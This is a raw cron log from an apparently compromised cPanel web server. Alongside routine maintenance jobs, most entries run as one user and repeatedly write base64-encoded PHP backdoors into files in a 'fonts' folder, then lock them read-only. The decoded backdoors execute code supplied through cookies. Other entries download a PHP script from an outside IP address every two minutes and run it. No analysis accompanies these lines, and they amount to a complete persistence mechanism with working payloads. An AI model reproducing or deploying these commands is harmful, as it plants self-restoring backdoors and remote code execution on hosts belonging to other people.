Sep 20 12:30:02 ip-184-168-122-23 CROND[25698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:30:02 ip-184-168-122-23 CROND[25697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:31:01 ip-184-168-122-23 CROND[26071]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 12:31:01 ip-184-168-122-23 CROND[26073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:31:01 ip-184-168-122-23 CROND[26075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:31:01 ip-184-168-122-23 CROND[26076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:31:01 ip-184-168-122-23 CROND[26078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:32:01 ip-184-168-122-23 CROND[26474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:32:01 ip-184-168-122-23 CROND[26476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:32:01 ip-184-168-122-23 CROND[26477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:32:01 ip-184-168-122-23 CROND[26480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:32:01 ip-184-168-122-23 CROND[26478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:33:01 ip-184-168-122-23 CROND[26811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:33:01 ip-184-168-122-23 CROND[26814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:33:01 ip-184-168-122-23 CROND[26815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:33:01 ip-184-168-122-23 CROND[26816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:34:01 ip-184-168-122-23 CROND[27197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:34:01 ip-184-168-122-23 CROND[27198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:34:01 ip-184-168-122-23 CROND[27199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:34:01 ip-184-168-122-23 CROND[27200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:34:01 ip-184-168-122-23 CROND[27207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:35:01 ip-184-168-122-23 CROND[27444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:35:01 ip-184-168-122-23 CROND[27449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:35:01 ip-184-168-122-23 CROND[27447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:35:01 ip-184-168-122-23 CROND[27452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:35:01 ip-184-168-122-23 CROND[27451]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 12:35:01 ip-184-168-122-23 CROND[27450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:35:01 ip-184-168-122-23 CROND[27453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:35:01 ip-184-168-122-23 CROND[27454]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 12:36:01 ip-184-168-122-23 CROND[27687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:36:01 ip-184-168-122-23 CROND[27692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:36:01 ip-184-168-122-23 CROND[27690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:36:01 ip-184-168-122-23 CROND[27691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:36:01 ip-184-168-122-23 CROND[27694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:37:01 ip-184-168-122-23 CROND[27921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:37:01 ip-184-168-122-23 CROND[27923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:37:01 ip-184-168-122-23 CROND[27925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:37:01 ip-184-168-122-23 CROND[27924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:38:01 ip-184-168-122-23 CROND[28191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:38:01 ip-184-168-122-23 CROND[28192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:38:01 ip-184-168-122-23 CROND[28197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:38:01 ip-184-168-122-23 CROND[28195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:38:01 ip-184-168-122-23 CROND[28196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:39:01 ip-184-168-122-23 CROND[28454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:39:01 ip-184-168-122-23 CROND[28458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:39:01 ip-184-168-122-23 CROND[28456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:39:01 ip-184-168-122-23 CROND[28459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:39:01 ip-184-168-122-23 CROND[28457]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 12:40:01 ip-184-168-122-23 CROND[28778]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 12:40:01 ip-184-168-122-23 CROND[28781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:40:01 ip-184-168-122-23 CROND[28783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:40:01 ip-184-168-122-23 CROND[28784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:40:01 ip-184-168-122-23 CROND[28792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:40:01 ip-184-168-122-23 CROND[28790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:40:01 ip-184-168-122-23 CROND[28791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:40:01 ip-184-168-122-23 CROND[28789]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:41:02 ip-184-168-122-23 CROND[29031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:41:02 ip-184-168-122-23 CROND[29032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:41:02 ip-184-168-122-23 CROND[29033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:41:02 ip-184-168-122-23 CROND[29034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:42:01 ip-184-168-122-23 CROND[29297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:42:01 ip-184-168-122-23 CROND[29301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:42:01 ip-184-168-122-23 CROND[29300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:42:01 ip-184-168-122-23 CROND[29302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
